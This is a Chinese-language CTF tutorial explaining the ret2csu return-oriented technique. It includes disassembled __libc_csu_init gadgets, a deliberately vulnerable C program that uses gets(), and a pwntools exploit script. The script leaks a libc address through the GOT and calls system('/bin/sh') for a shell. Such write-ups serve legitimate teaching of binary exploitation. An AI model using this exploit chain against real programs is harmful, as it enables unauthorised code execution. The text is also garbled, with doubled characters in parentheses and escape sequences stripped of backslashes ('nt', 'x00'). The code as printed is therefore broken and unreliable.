# ret2csu 對(duì)于 `Linux` 系統(tǒng)上的 `64` 位可執(zhí)行程序而言，一般都會(huì)存在 `__libc_csu_init` 函數(shù)，這個(gè)函數(shù)中一般都會(huì)存在幾個(gè)萬(wàn)能 `gadget` 可以用于控制程序執(zhí)行流。 ## __libc_csu_init 函數(shù)的重要匯編代碼如下： ```assembly [...] .text:0000000000400740 loc_400740: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400740 mov rdx, r13 .text:0000000000400743 mov rsi, r14 .text:0000000000400746 mov edi, r15d .text:0000000000400749 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8] .text:000000000040074D add rbx, 1 .text:0000000000400751 cmp rbx, rbp .text:0000000000400754 jnz short loc_400740 .text:0000000000400756 .text:0000000000400756 loc_400756: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400756 add rsp, 8 .text:000000000040075A pop rbx .text:000000000040075B pop rbp .text:000000000040075C pop r12 .text:000000000040075E pop r13 .text:0000000000400760 pop r14 .text:0000000000400762 pop r15 .text:0000000000400764 retn .text:0000000000400764 ; } // starts at 400700 .text:0000000000400764 __libc_csu_init endp ``` 很多時(shí)候，我們很難找到可以控制 `rdx` 寄存器的 `gadget`，如果程序不提供 `libc`，并且條件不足以使用 `ret2libc` 的時(shí)候，我們可以選擇使用 `ret2csu` 來(lái)進(jìn)行泄露。 從 `0x40075A` 開(kāi)始有一段我們可以控制的寄存器，這些寄存器的值又在`0x400740`被`mov`到`rdx` `rsi` `edi`寄存器中，我們可以通過(guò) `0x40075A` 處的寄存器值，從而達(dá)到我們泄露棧地址的目的。進(jìn)而控制程序執(zhí)行流。 ## 例題解析 源碼： ```c #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> char bss[200]; void init() { setbuf(stdout,0); setbuf(stdin,0); setbuf(stderr,0); write(1,"ok",3); } int main() { init(); __asm__ ( "xor %eax,%eaxnt" "test %eax,%eaxnt" "jz lable2nt" "jnz lable1nt" "lable1:nt" " pop %rax;pop %rdi;retnt" " syscall;retnt" " call *%raxnt" "lable2:nt" ); char buf[10]; gets(buf); __asm__("mov $1,%rdxnt"); return 0; } ``` 解題腳本： ```python from pwn import * context.log_level='debug' context.arch = 'amd64' # p = remote('192.168.152.140',10003) p = process('./csusys') elf = ELF('./csusys') p.recvuntil("okx00") csu1 = 0x40075A #rbx rbp r12 r13 r14 r15 csu2 = 0x400740 #r13->rdx r14->rsi r15d->edi call r12 pop_rdi_ret = 0x4006d8 offset1 = b'a'*(0x10+0x8) offset2 = b'a'*0x38 payload = offset1 + p64(csu1) payload += p64(0) + p64(1) + p64(elf.got['write']) + p64(8) + p64(elf.got['write']) + p64(1) payload += p64(csu2) + offset2 + p64(elf.sym['_start']) p.sendline(payload) write_addr = u64(p.recv(6).ljust(8,b'x00')) print(hex(write_addr)) log.success("write_addr: 0x%x", write_addr) base = write_addr - 0x00000000000f73b0 system = base + 0x00000000000453a0 str_bin_sh = base + 0x18ce57 payload = offset1 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system) p.sendline(payload) p.interactive() ```